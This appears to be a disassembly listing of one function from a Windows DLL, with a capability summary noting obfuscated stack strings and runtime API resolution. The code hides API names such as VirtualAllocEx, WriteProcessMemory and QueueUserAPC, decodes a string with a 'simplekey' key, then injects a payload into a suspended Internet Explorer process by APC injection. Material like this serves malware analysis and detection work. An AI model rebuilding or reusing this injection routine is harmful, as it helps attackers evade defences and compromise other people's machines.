Function at 0x180001e40
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x18003f030]
xor rax, rsp
mov qword [rbp + 0x108], rax
mov byte [rbp - 0x70], 0
mov r14d, 1
mov edx, r14d
lea rcx, str.Data_read_successfully._Size:__zu_bytes_n
call fcn.180005f00
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0xa0], 0x6e72656b
mov dword [rbp + 0xa4], 0x32336c65
mov dword [rbp + 0xa8], 0x6c6c642e
mov byte [rbp + 0xac], al
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
test rax, rax
je 0x180002584
mov dword [rbp + 0xd0], 0x61657243
mov dword [rbp + 0xd4], 0x72506574
mov dword [rbp + 0xd8], 0x7365636f
mov word [rbp + 0xdc], 0x4173
mov byte [rbp + 0xde], 0
mov dword [rbp + 0xe0], 0x74726956
mov dword [rbp + 0xe4], 0x416c6175
mov dword [rbp + 0xe8], 0x636f6c6c
mov word [rbp + 0xec], 0x7845
mov byte [rbp + 0xee], 0
mov dword [rbp + 0xf0], 0x74697257
mov dword [rbp + 0xf4], 0x6f725065
mov dword [rbp + 0xf8], 0x73736563
mov dword [rbp + 0xfc], 0x6f6d654d
mov word [rbp + 0x100], 0x7972
mov byte [rbp + 0x102], 0
mov dword [rbp + 0xb0], 0x75657551
mov dword [rbp + 0xb4], 0x65735565
mov dword [rbp + 0xb8], 0x43504172
mov byte [rbp + 0xbc], 0
mov dword [rbp + 0xc0], 0x75736552
mov dword [rbp + 0xc4], 0x6854656d
mov dword [rbp + 0xc8], 0x64616572
mov byte [rbp + 0xcc], 0
mov dword [rbp + 0x90], 0x736f6c43
mov dword [rbp + 0x94], 0x6e614865
mov dword [rbp + 0x98], 0x656c64
lea rdx, [rbp + 0xd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0xe0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0xf0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xb0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0xc0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x90]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
cmp qword [rsp + 0x50], 0
je 0x180002570
test rsi, rsi
je 0x180002570
test r15, r15
je 0x180002570
test rdi, rdi
je 0x180002570
test rbx, rbx
je 0x180002570
test rax, rax
je 0x180002570
xor ebx, ebx
mov qword [rbp - 0x10], rbx
mov qword [rbp], rbx
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], bl
lea r8d, [r14 + 0x3f]
lea rdx, str.yRXGEJE8Zt0A3oJB1jJi4CmORvAHzH5z8FJ7mA4o1tCL45vq47AtSyrI723V6o
lea rcx, [rbp - 0x10]
call fcn.180006090
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x28]
call fcn.1800064a0
nop
mov dword [rbp + 0x80], 0x706d6973
mov dword [rbp + 0x84], 0x656b656c
mov byte [rbp + 0x88], 0x79
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x28]
call fcn.1800062b0
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x38], rbx
mov eax, 0xf
mov qword [rbp - 0x30], rax
mov byte [rbp - 0x48], bl
mov r15, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x28]
cmp rsi, r15
je 0x1800021f4
nop word [rax + rax]
movzx r9d, byte [rsi]
lea r8, str._02X
mov edx, 0xa
lea rcx, [rbp + 0x80]
call fcn.180005e90
lea rax, [rbp + 0x80]
mov rdi, 0xffffffffffffffff
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x180002180
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1800021cc
lea rax, [rcx + rdi]
mov qword [rbp - 0x38], rax
lea rbx, [rbp - 0x48]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x48]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.18000ae90
mov byte [rdi + rbx], 0
jmp 0x1800021e4
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x80]
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.180004ed0
inc rsi
cmp rsi, r15
jne 0x180002150
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x48]
cmp rax, 0x10
cmovae rdx, qword [rbp - 0x48]
xor r9d, r9d
lea r8, str.Decrypted_Bytes
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov ecx, r15d
mov qword [rbp - 0x58], rcx
mov r8d, 0xf
mov qword [rbp - 0x50], r8
mov byte [rbp - 0x68], cl
mov rdi, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x28]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x180002256
lea rcx, [rbp - 0x68]
call fcn.180005a00
mov ecx, r15d
mov qword [rbp - 0x58], rcx
mov r8, qword [rbp - 0x50]
lea rax, [rbp - 0x68]
mov qword [rbp + 0x80], rax
cmp rbx, rdi
je 0x1800022aa
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000228f
lea rax, [rcx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x68]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180002298
lea rcx, [rbp - 0x68]
call fcn.180005bc0
inc rbx
mov r8, qword [rbp - 0x50]
cmp rbx, rdi
je 0x1800022aa
mov rcx, qword [rbp - 0x58]
jmp 0x180002266
lea rdx, [rbp - 0x68]
cmp r8, 0x10
cmovae rdx, qword [rbp - 0x68]
xor r9d, r9d
lea r8, str.Decrypted_Path
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_FilesInternet_Exploreriexplore.exe
call qword [rsp + 0x50]
test eax, eax
jne 0x18000233e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CreateProcessA_failed:
call fcn.180004a10
mov rcx, rax
mov edx, ebx
call fcn.180002630
mov rcx, rax
call fcn.180004d00
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x18000245b
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rbp - 0x80]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, r14
xor edx, edx
mov rcx, rsi
call qword [rsp + 0x58]
mov rbx, rax
test rax, rax
jne 0x180002378
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.VirtualAllocEx_failed:
jmp 0x1800023da
mov qword [rsp + 0x20], r15
mov r9, r14
lea r8, [rbp - 0x70]
mov rdx, rbx
mov rcx, rsi
call qword [rsp + 0x60]
test eax, eax
jne 0x1800023a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.WriteProcessMemory_failed:
jmp 0x1800023da
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [rsp + 0x68]
test eax, eax
jne 0x1800023c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.QueueUserAPC_failed:
jmp 0x1800023da
mov rcx, rdi
call qword [rsp + 0x70]
cmp eax, 0xffffffff
jne 0x1800023f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ResumeThread_failed:
mov ebx, eax
call fcn.180004a10
mov rcx, rax
mov edx, ebx
call fcn.180002630
mov rcx, rax
call fcn.180004d00
jmp 0x18000245b
mov rcx, qword [rsp + 0x78]
call r13
test eax, eax
jne 0x180002427
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CloseHandle__process__failed:
call fcn.180004a10
mov rcx, rax
mov edx, ebx
call fcn.180002630
mov rcx, rax
call fcn.180004d00
mov rcx, qword [rbp - 0x80]
call r13
test eax, eax
jne 0x180002458
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CloseHandle__thread__failed:
call fcn.180004a10
mov rcx, rax
mov edx, ebx
call fcn.180002630
mov rcx, rax
call fcn.180004d00
mov r14d, r15d
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x180002496
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002491
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800025bd
call fcn.180008f5c
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1800024e1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800024dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800025c3
call fcn.180008f5c
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x180002537
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800025c9
call fcn.180008f5c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r15
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180002584
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002569
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800025b7
call fcn.180008f5c
jmp 0x180002584
lea rdx, str.Failed_to_get_the_address.
call fcn.180004a10
mov rcx, rax
call fcn.180004d00
mov eax, r14d
mov rcx, qword [rbp + 0x108]
xor rcx, rsp
call fcn.180008f10
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000f584
nop
call fcn.18000f584
nop
call fcn.18000f584
nop
call fcn.18000f584
int3